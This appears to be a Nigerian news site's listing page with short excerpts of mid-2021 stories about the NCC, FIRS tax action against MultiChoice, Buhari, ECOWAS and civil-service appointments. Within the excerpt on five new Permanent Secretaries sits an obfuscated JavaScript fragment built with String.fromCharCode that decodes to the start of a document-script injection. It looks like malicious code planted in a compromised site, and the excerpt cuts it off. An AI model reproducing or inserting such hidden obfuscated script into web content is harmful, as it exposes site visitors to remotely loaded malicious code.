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12Jul By Felix ShammahNo Comments

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NCC Debunks Records of Additional 3m New Lines in Q1

By Frank Momoh  The attention of the Nigerian Communications Commission (NCC) has been drawn to an online media report alleging that mobile telephony subscriptions in Nigeria somehow grew by 3,000,000 new subscribers in the first quarter of 2021. This the online medium says is coming despite the suspension on the registration of new subscribers which took effect from December 9, 2020 and was only lifted in May, 2021.  The Ericsson Mobility Report cited in the online publication is essentially a forecast of trends based on Ericsson’s analysis and does not refer to the NCC or any official channel as source for its data and/or projections.  It is therefore inaccurate that Nigeria recorded 3million new lines in the 1st Quarter of 2021 as stated in the media report. ...

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8Jul By Seun AdamsNo Comments

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FIRS Appoints Banks to Recover N1.8trn from Multichoice

The Federal Inland Revenue Service (FIRS) on Thursday appointed some commercial banks as agents to recover the sum of N1.8 trillion as tax liability from accounts of Messrs MultiChoice Nigeria Limited (MCN) And MultiChoice Africa (MCA). This was contained in a statement signed by the Chairman, Mr. Muhammad Nami, as released by the Director, Communications and Liaison Department of the Service, Dr. Abdullahi Ismaila Ahmad, who quoted the Chairman as confirming that the decision to appoint the banks as agents and to freeze the accounts was as a result of the group’s continued refusal to grant FIRS access to its servers for audit. FIRS, said the companies persistently breached all agreements and undertakings with the Service, adding that they would not promptly respond to correspondenc...

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8Jul By Mohammed MohammedNo Comments

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Minister Congratulates Matazu on WMO Appointment

The Minister of Aviation, Senator Hadi Sirika has congratulated the Director-General/CEO of the Nigerian Meteorological Agency (NiMet), Prof. Mansur Bako Matazu, on his appointment into the Executive Council of the World Meteorological Organisation. In a statement made available to the Media by the General Manager/PR of the agency Mr. Muntari Yusuf Ibrahim, said Prof. Matazu who is also the Permanent Representative of Nigeria with the Meteorology regulatory body, was elected at the 73rd session of the Executive Council of the WMO. In a letter signed by the Secretary-General of the WMO, Professor Petteri Taalas congratulating the NiMet DG, said: “I look forward to your future participation and effective contribution to the work of the Council for the benefit of all our...

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7Jul By Dwelleth MorountodunNo Comments

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Osinbajo: Nigeria’s Leather Industry to Rake-in $1bn by 2025

Vice President, Prof. Yemi Osinbajo on Tuesday said Nigeria’s leather products industry will generate over $1 billion by the year 2025 and create employment for over 7000 Nigerians. The Vice President made this known on Tuesday in Abuja at the formal launch and sensitisation workshop on the National Leather and Leather Products policy implementation plan. Adetayo Otuyemi and Maryam Zakari in a joint statement, quoted Osinbajo as saying that the leather products value chain will afford Nigeria over 70% increase in foreign exchange earnings in a few years’ time. He described the implementation of the leather products policy as holistic, adding that it will also provide a more sustainable infrastructure development plan and guaranteed access to credit facilities for business pe...

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7Jul By Mohammed MohammedNo Comments

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FG Commends Security Agencies for curtailment of Kanu, Igboho

The federal government on Tuesday commended the security agencies for curtailing the leader of the proscribed Indigenous People of Biafra (IPOB), Mr. Nnamdi Kanu even as it traces the organisation's sources of funds from proceeds of suspected illicit criminal activities. The Senior Special Assistant to the President on Media and Publicity, Mr. Garba Shehu, in a statement made available to the Media on Tuesday, said the government had long been monitoring the activities of IPOB and had strong cause to believe that their funding sources include proceeds of suspected illicit criminal activities. However, he added that the government attributed the curtailment of the proscribed Indigenous People of Biafra (IPOB), Mr. Nnamdi Kanu and Sunday Adeyemi aka Igboho to the enhanced collaboratio...

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4Jul By Mohammed MohammedNo Comments

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Senate Urges Nigerian Vocal Public to Help Democracy

The President of the Senate, Ahmad Lawan has urged members of the public who have access to the media to help democracy to prosper in Nigeria by saying the truth.The Senate President made the appeal in his keynote address at the Conference of Presiding Officers of the Nigerian Legislature which began in Abuja late Friday.The theme of the conference which is yet ongoing is Public perception of the role of Legislature: Post Legislative Scrutiny and Independence of the Legislature.Lawan spoke against the backdrop of attack on Federal lawmakers and misinformation that followed the recent leakage of the roof of the National Assembly complex.The Senate President said it was unfair to assume that the N37 billion that was initially budgeted for the rehabilitation of the National Assembly complex ...

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4Jul By Sharpedge NewsNo Comments

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Firefighers’ Challenge: FG Mulls Establishment of Fire Police

As part of efforts to addressing the challenge often  faced by firefighters during operations, through mob action and vandalization of firefighting assets in the country, the Federal Government has disclosed that it would create an arm bearing unit to be referred to as "Fire Police," whose duty would be, to provide armed outer cordon during operations. Mrs. Lere Adams-Blessing, the Director of Press in the Ministry, quoted the Minister of Interior, Ogbeni Rauf Aregbesola and Chairman of Council, disclosed this  during the opening Ceremony of the National Council on Fire, held in Jos, Plateau State. Aregbesola, who was represented by the Permanent Secretary in the Ministry, Dr. Shuaib Belgore, said the Ministry would initiate the process of repealing the 1963 obsolete Fire Service Ac...

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1Jul By Sharpedge NewsNo Comments

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Exclusive: How One Soldier, Five Igboho associates Were Killed In botched arrest attempt.

A fresh indication has emerged into how the attack was carried out in the house of a Yoruba nation agitator, Sunday Adeyemo known as Sunday Igboho. A source who spoke with our correspondent on the conditions of anonymity said that soldiers from Brigade Guards, Abuja were drawn to effect the arrest of Igboho. According to the source, the mission of the team was to effect the arrest of Mr. Adeyemi. Upon arrival at the residence, a soldier who tried to scale the fence was shot dead by Igboho boys. This according to the source infuriated the soldiers who then launched massive attack before they gained entry into the house and engaged Igboho boys in a shootout. The source added that Igboho and some of his aides, had to find a way of escape, as five of their associates were unlucky ...

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30Jun By Mohammed MohammedNo Comments

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Buhari: Blame Nigerians for Nigeria’s Woes, Not Ethnicity, Religion

President Muhammadu Buhari has reflected on the complexities of the Nigerian condition, concluding that neither ethnicity nor religion was to blame, “but we ourselves,” for inherent injustices.The President spoke recently while receiving members of the Muhammadu Buhari/Osinbajo (MBO) Dynamic Support Group, who visited State House, Abuja, to present a compendium of five years achievements of the administration.Mr. Femi Adesina, in a statement on Wednesday, said Buhari went into the trajectory of his struggles to get justice at the courts, after disputed results of presidential elections in 2003, 2007, and 2011, submitting that people who ruled against him were of his own ethnic stock and religious persuasion, while those who stood up for him were of other faiths and ethnicity.“Our problem ...

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29Jun By Mohammed MohammedNo Comments

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FG Approves July 26th as NIN-SIM Verification Deadline

The Federal Government has approved the extension of the deadline for NIN-SIM data verification to the 26th of July, 2021.  The decision to extend the deadline was made after a request by stakeholders on the need to consolidate the enrolment and NIN-SIM verification process following the rapid increase in the number of enrolment systems across the country.  As at June 28, 2021, a total of 5,410 enrolment systems are now available across the country and this would significantly ease the NIN enrolment process and subsequent linkage of NIN to SIM.   It is worthy of note that there were only about 800 such enrolment systems as at December 2020. The Federal Government has approved the extension as part of its effort to make it easier for its citizens and residents to obtain the...

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25Jun By Mohammed MohammedNo Comments

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NAE Honours NCC for Contribution to Economic Development

The Nigerian Academy of Engineering (NAE), has presented an award to the Nigerian Communications Commission (NCC) in recognition and appreciation of its support of the activities of the academy towards enhancing economic development.The NAE is a not-for-profit and non-governmental organisation and one of the highest professional bodies in the engineering field was established for the purpose of promoting excellence in technological and engineering training and practice to ensure technological growth and economic development in Nigeria.The Executive Vice Chairman of NCC, Prof. Umar Danbatta received the recognition award at the 2021 Academy Technology in Lagos on Wednesday, at the instance of the Minister of Science and Technology, Dr. Ogbonnaya Onu.Danbatta, is a Fellow of the Academy and...

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21Jun By Mohammed MohammedNo Comments

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Lawan to Leaders: Give Our Youth Chance, Opportunity

President of the Senate, Ahmad Lawan, has said efforts must be made by leaders in the country to encourage productivity amongst youths to enable them contribute meaningfully to national development.  Lawan made this known over the weekend while speaking to Journalists at the First Solo Exhibition of Paintings and Photographs by Stephen Binos.  Binos is the son of Senator Binos Dauda Yaroe, who is representing Adamawa South in the Senate.  The artworks exhibited depict the culture of the people of Adamawa State.    The Senate President, while charging Nigerian youths to ensure the preservation of the country’s diverse cultural heritage through expressive means, explained that doing so would in turn preserve its traditional values against ...

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20Jun By Mohammed MohammedNo Comments

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Buhari Urges ECOWAS Leaders to Exert ”Pressure on Mali” to Return to Civilian Rule

President Muhammadu Buhari on Saturday called on West African leaders to exert pressure on the military leadership in Mali to ensure that the transition process in the country is not aborted.  The President’s position is contained in his statement delivered at the 59th Ordinary session of the Authority of Heads of State and Government of ECOWAS in Accra, Ghana.  The Nigerian leader spoke on the situation Mali, which was recently suspended from the regional bloc due to a military coup.  The Senior Special Assistant (SSA),to the President Media and Publicity, Mr. Garba Shehu, in a statement on Saturday, quoted the President as saying: ''At this Summit today, we are expected to review a number of important reports dealing with various issues of concerns to our organis...

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19Jun By Dwelleth MorountodunNo Comments

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Buhari to Attend ECOWAS Summit in Accra on Saturday

President Muhammadu Buhari will participate in the 59th Ordinary Session of the ECOWAS Authority of Heads of State and Government in Accra, Ghana on Saturday, June 19, 2021.   The President, who will depart Abuja on Saturday, will join other Heads of State of Government of ECOWAS for the mid-year statutory meeting of the regional bloc, with the exception of Mali, which was recently suspended from the group.  Former President Goodluck Jonathan of Nigeria, ECOWAS Special Envoy and Mediator to Mali, is expected to present a report on his latest working visit to the West African country to the Summit of the Heads of State.  The Heads of State and Government will also receive a report on ECOWAS institutional reforms, single currency programmes and a memorandum on the pr...

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19Jun By Mohammed MohammedNo Comments

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FG Approves Appointment of 5 New Permanent Secretaries

President Muhammadu Buhari on Friday approved the appointment of 5 new Permanent Secretaries in the Federal Civil Service following just concluded selection process. The Director of Press and Public Relations in the Office of the Head of Service, Mr. AbdulGaniyu Aminu, in a signed statement made available to the media quoted the Head of the Civil Service of the Federation, Dr. Folsade Yemi-Esan, made the disclosure today (Friday). The newly appointed Permanent Secretaries include: Adebiyi Olusesan Olufunso, for Ekiti State, Onwudiwe Maryann Ngozi, Enugu State, Yusuf Idris for katsina State, Ogunbiyi Marcus Olaniyi, Lagos State and Ibrahim Abubakar Kana, Nasarawa State. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,...

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16Jun By Mohammed MohammedNo Comments

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EFCC, FIRS, KIRS Partner against Tax Fraud

The Economic and Financial Crimes Commission (EFCC), is to collaborate with the Federal Inland Revenue Service (FIRS) and the Kano State Internal Revenue in tackling tax related frauds. The Head of the Kano Zonal office of the Commission, Mualledi Farouq Dogondaji stated this on Tuesday during a courtesy visit to both agencies in Kano. At KIRS, Dogondaji urged the Chairman to always report tax evaders to the Commission as the Zonal Office now have a full pledged Tax Fraud Section “We are ready to continue to work together to put our economy back on track. Tax is what is used to pay our wages and salaries. That is why we are here to tell you that our doors are open. If you have tax evasion cases, do not hesitate to come to us. We now have a special section dealing with that,”...

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16Jun By Seun AdamsNo Comments

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Regulatory Mandate: NCC Inaugurates C’ttee to Review Telecoms License Structure

In demonstration of its regulatory mandate, responsiveness to global trends and the dynamics in the Information and Communications Technology (ICT) ecosystem, the Nigerian Communications Commission (NCC) has initiated the process for the review of existing licensing structure in the Nigerian telecommunications industry.  An important step towards achieving this was taken recently by the Executive Vice Chairman and Chief Executive Officer of NCC, Prof. Umar Danbatta, when he inaugurated an in-house Standing Committee to carry out the task. Danbatta, while inaugurating the Committee, said the need for the review of the existing license structure was informed by the wide range of technological advances, convergence of technologies and services which have characterized the global t...

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15Jun By Mohammed MohammedNo Comments

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Insecurity: Enang Urges State Governors to Engage Youths

The Senior Special Assistant to the President on Niger Delta, Senator Ita Enang has called on state governors to meet with all the youths in their state as a way of addressing the security challenges confronting the country. In an interview monitored in TV station in Abuja, he said: “We need to apologies to them and on my little part I apologies to them for the little we did not do at certain time and please let return back to the table. The Chief Press Secretary to the SSA, Mr. Edet Ekpenyong, quoted his boss as saying: “We, the leaders and elders have provoked the youths of this country, we did not plan for them, no government in this country PDP or APC can excuse himself for what is happening now. “When we were busy educating our children in the best of schools, what did we do...

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14Jun By Felix ShammahNo Comments

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Telcos Regulator Finalises Cost-Based Study on International Termination Rate Determination

By Frank Momodu The Nigerian Communications Commission (NCC) has concluded the process for determining the cost-based price of Mobile International Termination Rate (MITR) to ensure healthy competition on traffic handling for voice services between local and international operators in Nigeria.  The Commission made this known at the final Stakeholders’ Forum for the presentation of the study on cost-based pricing of mobile ITR, undertaken by Messrs Payday Advance and Support Services Limited, held at the Commission’s Head Office in Abuja on Tuesday, June 8, 2021 with Management Staff of the Commission physically in attendance while other critical industry stakeholders participated virtually. The forum was convened by the NCC to formally present the findings from the study, wh...

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13Jun By Dayo OmoogunNo Comments

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Brass Products Terminal: Sylva Hails PMB as NNPC, NCDMB, Zed Energy Sign Agreement

The Minister of State for Petroleum Resources, Chief Timipre Sylva has commended President Muhammadu Buhari for his giant strides in the Niger Delta which is making a huge impact on the people of the area. The Minister made this known on Friday while speaking at a ceremony to mark the execution of Shareholders Agreement between the Nigerian National Petroleum Corporation (NNPC), the Nigerian Content Development & Monitoring Board (NCDMB) and Zed Energy for the establishment of a 50 million litre Petroleum Products Terminal in Brass, Bayelsa State. The N10.5 billion Brass Petroleum Products Terminal project is expected to deliver an automated 50 million litre depot with two-way product jetty, automated loading bay, and 6 automated tanks for storage of 30 million litres of Premium...

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